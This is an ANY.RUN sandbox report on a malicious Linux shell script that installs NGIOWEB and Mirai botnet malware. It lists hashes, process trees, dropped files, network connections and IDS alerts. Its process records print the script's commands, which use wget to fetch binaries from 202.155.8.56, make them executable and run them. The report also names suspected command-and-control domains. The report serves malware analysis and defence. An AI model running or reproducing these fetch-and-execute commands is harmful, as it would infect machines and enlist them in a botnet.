File name:

_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh

Full analysis: https://app.any.run/tasks/fac96a36-0f6b-414a-9675-7830144f1b2a
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: May 24, 2026, 00:28:13
OS: Ubuntu 22.04.2
Tags:
auto
ngioweb
botnet
mirai
generic
Indicators:
MIME: text/x-shellscript
File info: POSIX shell script, ASCII text executable
MD5:

9CEE945FD48295DA4CA0810FC1900E49

SHA1:

FC3445FA2DF83774DAB571DDCA5E8C4A100289D1

SHA256:

C85D12D6427041849CE0C973E8639A4E2BFC23CDD0FEB564D29CDE873367446D

SSDEEP:

6:hTBGjs8kndaVqDlHt/2HAulNXYq4HvXDG+NjVsNXYrkJ:VQjqn2qDlHV0Piq4HvXDGmKi2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • NGIOWEB has been found (auto)

      • wget (PID: 1881)
      • wget (PID: 1886)
      • wget (PID: 1892)
      • wget (PID: 1871)
      • wget (PID: 1897)
      • wget (PID: 1918)
      • wget (PID: 1930)
      • wget (PID: 1913)
      • wget (PID: 1950)

    • MIRAI has been found (auto)

      • wget (PID: 1876)

    • GENERIC has been found (auto)

      • wget (PID: 1902)
      • wget (PID: 1907)
      • wget (PID: 1925)
      • wget (PID: 1940)
      • wget (PID: 1945)
      • wget (PID: 1935)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 1864)

    • Uses wget to download content

      • dash (PID: 1868)

    • Potential Corporate Privacy Violation

      • wget (PID: 1871)
      • wget (PID: 1881)
      • wget (PID: 1886)
      • wget (PID: 1897)
      • wget (PID: 1902)
      • wget (PID: 1892)
      • wget (PID: 1907)
      • wget (PID: 1918)
      • wget (PID: 1913)
      • wget (PID: 1930)
      • wget (PID: 1950)
      • wget (PID: 1940)
      • wget (PID: 1945)
      • wget (PID: 1925)
      • wget (PID: 1935)

    • Executes the "rm" command to delete files or directories

      • dash (PID: 1868)

  • INFO

    • Creates file in the temporary folder

      • wget (PID: 1876)
      • wget (PID: 1881)
      • wget (PID: 1886)
      • wget (PID: 1892)
      • wget (PID: 1871)
      • wget (PID: 1897)
      • wget (PID: 1902)
      • wget (PID: 1907)
      • wget (PID: 1913)
      • TSJR (PID: 1895)
      • wget (PID: 1925)
      • wget (PID: 1930)
      • wget (PID: 1935)
      • wget (PID: 1918)
      • wget (PID: 1940)
      • wget (PID: 1945)
      • wget (PID: 1950)

    • Checks timezone

      • wget (PID: 1892)
      • wget (PID: 1881)
      • wget (PID: 1886)
      • wget (PID: 1897)
      • wget (PID: 1902)
      • wget (PID: 1913)
      • wget (PID: 1907)
      • wget (PID: 1925)
      • wget (PID: 1930)
      • wget (PID: 1935)
      • wget (PID: 1918)
      • wget (PID: 1940)
      • wget (PID: 1945)
      • wget (PID: 1950)
      • wget (PID: 1871)
      • wget (PID: 1876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
214
Monitored processes
93
Malicious processes
19
Suspicious processes
0

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs dash no specs locale-check no specs rm no specs #NGIOWEB wget chmod no specs dash no specs rm no specs #MIRAI wget chmod no specs dash no specs rm no specs #NGIOWEB wget chmod no specs myup no specs myup rm no specs #NGIOWEB wget myup no specs chmod no specs dash no specs rm no specs #NGIOWEB wget chmod no specs tsjr no specs tsjr no specs rm no specs #NGIOWEB wget chmod no specs dash no specs rm no specs #GENERIC wget chmod no specs dash no specs rm no specs #GENERIC wget chmod no specs dash no specs rm no specs #NGIOWEB wget chmod no specs dash no specs rm no specs #NGIOWEB wget chmod no specs dash no specs rm no specs #GENERIC wget chmod no specs dash no specs rm no specs #NGIOWEB wget chmod no specs dash no specs rm no specs #GENERIC wget chmod no specs dash no specs rm no specs #GENERIC wget chmod no specs dash no specs rm no specs #GENERIC wget chmod no specs dash no specs rm no specs #NGIOWEB wget chmod no specs dash no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs rm no specs ubuntu-advantage-notification no specs deja-dup-monitor no specs

Process information

PID
CMD
Path
Indicators
Parent process
1863/bin/sh -c "sudo chown user /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d\.sh && chmod +x /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d\.sh "/usr/bin/dash—N00yyFAAJQjQ6JFp
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1864sudo chown user /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
1865chown user /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1866chmod +x /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1867sudo -iu user /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
1868/bin/sh /home/user/Desktop/_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh/usr/bin/dash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
1869/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1870rm GOQV/usr/bin/rm—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1871wget http://202.155.8.56/GOQV/usr/bin/wget
dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
1872chmod +x GOQV/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
18
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
1871wget/tmp/GOQVbinary
MD5:—
SHA256:—
1876wget/tmp/YVGFbinary
MD5:—
SHA256:—
1881wget/tmp/MYUPbinary
MD5:—
SHA256:—
1884MYUP/tmp/.zwxGXIlabinary
MD5:—
SHA256:—
1895TSJR/tmp/.zwxGXIlabinary
MD5:—
SHA256:—
1886wget/tmp/IMTZbinary
MD5:—
SHA256:—
1892wget/tmp/TSJRbinary
MD5:—
SHA256:—
1897wget/tmp/SIZVbinary
MD5:—
SHA256:—
1902wget/tmp/ATVRbinary
MD5:—
SHA256:—
1907wget/tmp/LKMSbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
19
TCP/UDP connections
28
DNS requests
55
Threats
17

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
—
185.125.190.101:80
http://connectivity-check.ubuntu.com/
GB
—
—
whitelisted
—
—
GET
—
185.125.190.100:80
http://connectivity-check.ubuntu.com/
GB
—
—
whitelisted
1876
wget
GET
200
202.155.8.56:80
http://202.155.8.56/YVGF
US
binary
200 Kb
unknown
1886
wget
GET
200
202.155.8.56:80
http://202.155.8.56/IMTZ
US
binary
129 Kb
unknown
1897
wget
GET
200
202.155.8.56:80
http://202.155.8.56/SIZV
US
binary
105 Kb
unknown
1892
wget
GET
200
202.155.8.56:80
http://202.155.8.56/TSJR
US
binary
105 Kb
unknown
1902
wget
GET
200
202.155.8.56:80
http://202.155.8.56/ATVR
US
binary
154 Kb
unknown
1907
wget
GET
200
202.155.8.56:80
http://202.155.8.56/LKMS
US
binary
129 Kb
unknown
1913
wget
GET
200
202.155.8.56:80
http://202.155.8.56/ANFG
US
binary
86.0 Kb
unknown
1918
wget
GET
200
202.155.8.56:80
http://202.155.8.56/NKBO
US
binary
125 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.101:80
connectivity-check.ubuntu.com
CANONICAL-AS
GB
whitelisted
452
avahi-daemon
224.0.0.251:5353
—
—
—
whitelisted
—
—
185.125.190.100:80
connectivity-check.ubuntu.com
CANONICAL-AS
GB
whitelisted
1871
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown
1876
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown
1881
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown
1886
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown
1892
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown
1897
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown
1902
wget
202.155.8.56:80
—
AS-ULTAHOST
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 185.125.190.101
  • 91.189.91.96
  • 185.125.190.99
  • 185.125.190.100
  • 91.189.91.98
  • 91.189.91.97
  • 2620:2d:4000:1::1099
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::1100
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::1101
  • 2620:2d:4002:1::197
whitelisted
google.com
  • 142.251.13.113
  • 142.251.13.138
  • 142.251.13.139
  • 142.251.13.102
  • 142.251.13.101
  • 142.251.13.100
  • 2a00:1450:4001:c13::64
  • 2a00:1450:4001:c13::71
  • 2a00:1450:4001:c13::66
  • 2a00:1450:4001:c13::65
whitelisted
14.100.168.192.in-addr.arpa
  • —
whitelisted
interocapify.biz
  • —
unknown
unovizaship.net
  • —
unknown
ntp.ubuntu.com
  • 185.125.190.56
  • 185.125.190.58
  • 91.189.91.157
  • 185.125.190.57
  • 2620:2d:4000:1::3f
  • 2620:2d:4000:1::40
  • 2620:2d:4000:1::41
whitelisted
unibokosion.cc
  • 216.120.147.200
unknown
imodobeness.at
  • 91.195.240.101
unknown
iruledolical.org
  • 216.120.147.200
unknown
transomemodom.info
  • —
unknown

Threats

PID
Process
Class
Message
1871
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1876
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1881
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1886
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1892
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1897
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1902
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1907
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1913
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
1918
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
_c85d12d6427041849ce0c973e8639a4e2bfc23cdd0feb564d29cde873367446d.sh